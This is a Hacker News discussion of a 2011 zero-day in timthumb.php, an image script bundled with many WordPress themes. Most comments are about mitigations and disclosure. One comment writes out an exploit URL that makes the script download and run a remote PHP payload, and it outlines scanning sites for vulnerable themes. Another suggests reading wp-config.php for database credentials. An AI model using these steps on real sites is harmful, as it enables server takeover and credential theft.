top | item 2835288

Zero Day Vulnerability in many Wordpress Themes

128 points| d2 | 14 years ago |markmaunder.com | reply

53 comments

order
[+] patio11|14 years ago|reply
A mitigation for this sort of thing: your Wordpress installations can be owned by someone other than the webserver, with 644/655 permissions. This will prevent folks from uploading arbitrary code (through any of the NUMEROUS plugins/themes with a vulnerability that allows them to do that), and also prevents folks from appending malicious code to known files.
[+] d2|14 years ago|reply
You could also "cat /usr/local/wordpress/wp-config.php" and see the plaintext mysql username/password and inject malicious data into the DB, create/drop tables or databases depending on access level.
[+] d2|14 years ago|reply
Problem is that then you can't auto install themes, auto update wordpress - and the script causing this vulnerability requires a writable cache directory under the wordpress root.
[+] cosgroveb|14 years ago|reply
My WP theme is from WooThemes and it includes "thumb.php" which upon inspection is timthumb.php. The blog post says to patch this you should remove the list from the allowedSites variable which I have done... I'll look at this more tomorrow but just FYI!
[+] mrspeaker|14 years ago|reply
Errm, you should probably do that today - and check for the presence of base64 encoded images - now that you told the world about it ;)
[+] muppetman|14 years ago|reply
Great writeup. It's clear, it's concise and it's not overly dramatic. Thanks for taking the time to write this up and share it.

I have invested a bit of time installing and tuning mod_security. I'd love to know how it'd have faired against this attack, probably it wouldn't have stopped the upload, but it might have stopped a lot of payload/control commands from working.

[+] joelhaasnoot|14 years ago|reply
While it's concise and not overly dramatic, lots of people run Wordpress on shared hosting. That generally means they don't have SSH access and the instructions are harder to follow... It needs a "for beginners" section on how to check and accomplish the steps.
[+] code_duck|14 years ago|reply
I invest time in doing things like looking over any third party libraries for stuff like this, too. The quality of the average WordPress plugin is quite low, and I'm surprised we don't hear about issues like this more often.
[+] davidw|14 years ago|reply
As someone relatively new to Wordpress, I use a hosted instance from Wordpress.com. How do they handle things like this, and security in general?
[+] code_duck|14 years ago|reply
This is a vulnerability in a third party script often used in Wordpress themes. It's not related to Wordpress.com.
[+] billpg|14 years ago|reply
> 1. SSH into your web server.

That's not an option on a surprising number of web hosts offering PHP hosting. You'd have to find the file using FTP instead.

[+] ck2|14 years ago|reply
Also note that it doesn't even have to be an active theme - since timthumb.php executes directly and not through wordpress.
[+] rozim|14 years ago|reply
I used to see so many security problems with xmlrpc.php, and never used the functionality, so I put in a cron job entry that did this for all blogs I had hosted:

    mv PATH/xmlrpc.php PATH/xmlrpc.php.nope
    chmod 000 PATH/xmlrpc.php.nope
something like once an hour in case I upgraded and forgot to secure the site.
[+] qeorge|14 years ago|reply
FWIW: We had an older version of timthumb which uses preg_match instead of strpos, but suffers from the same flaw. The relevant line looks like this:

    if (preg_match($site, $url_info['host']) == true) {
Good catch, Mark.
[+] teyc|14 years ago|reply
I have a version that does this:

   function clean_source ( $src ) {

    // remove http/ https/ ftp
    $src = preg_replace("/^((ht|f)tp(s|):\/\/)/i", "", $src);
    // remove domain name from the source url
    $host = $_SERVER["HTTP_HOST"];
    $src = str_replace($host, "", $src);
    $host = str_replace("www.", "", $host);
    $src = str_replace($host, "", $src);
This version doesn't allow external sources at all by the look of it.
[+] tansey|14 years ago|reply
Very good find! Thank you for sharing.

I bought my theme from Theme Forest and it has this vulnerability. If you have a theme that you've purchased and contains this file, it would be helpful to post this on the theme's support forum.

[+] mildweed|14 years ago|reply
This affects not just themes, but plugins too. Its in the vslider plugin I've used in multiple installs.
[+] teyc|14 years ago|reply
I wonder if it would be better if he disclosed this to the theme vendors.
[+] code_duck|14 years ago|reply
Exactly what I thought upon reading "The current version of timthumb has this issue. Since it’s already in the wild and I just got hacked by it, I figure it’s ok to release the vulnerability to the general public."
[+] dangrossman|14 years ago|reply
That's not really possible. There are well over 1,000 different theme authors in the WordPress theme directory alone.
[+] hluska|14 years ago|reply
Thanks for posting this!
[+] lfx|14 years ago|reply
But to use this vulnerability at first cracker have to have registered user? Or there are other way to upload images?
[+] patio11|14 years ago|reply
No, you can execute the script directly if you know or can guess the location of it, straight through your web browser.

Accessing

  http://www.example.com/wordpress/wp-content/ themes/vulnerable-theme/thumb.php?src=flickr.com.example.org/payload.php 
is sufficient to cause it to download payload.php and cache it. Afterwards, you can access the PHP file in the same manner to execute it.

One could trivially make a list of signatures for vulnerable themes (for example, all the ones I paid for from a certain prominent Wordpress themes company), and then exploit any website whose main page matched a signature. Alternatively, you could just speculatively hit a few hundred URLs on every domain you found.

[+] nbpoole|14 years ago|reply
No. The timthumb.php script can be accessed directly by unauthenticated users.
[+] sogrady|14 years ago|reply
FWIW, I had two separate running instances of timthumb.php, but neither contained the $allowedSites array.
[+] dangrossman|14 years ago|reply
I had a few copies from old WooThemes themes as well, and the copy of thumb.php included didn't have such an external sites list/feature either.
[+] quizbiz|14 years ago|reply
Could Wordpress issue an update to patch this?
[+] patio11|14 years ago|reply
Wordpress gets no opportunity to execute a single line of code at any point in this process. TimThumb can be executed without needing to go through Wordpress at any point. The only relevance of Wordpress to this is that many Wordpress themes happen to ship with TimThumb. If you have a Wordpress theme installed on your server (note: activation not required!) which ships with it, you are vulnerable.

Wordpress could theoretically intercept calls to PHP files below its own root, but that would be a breaking change for a LOT of code and sites.

[+] _b8r0|14 years ago|reply
The problem is that timbthumb.php is usually contained within themes or plugins. There's quite a few small php libraries with little insecurities dotted all around the web and sometimes theme and plugin developers tend to use a version and stick with it.

Realistically the best thing that could happen is that plugins like WP-Security Scan could check for timbthumb.php's presence and warn you.

[+] ck2|14 years ago|reply
timthumb executes outside of wordpress, it's directly called via the the url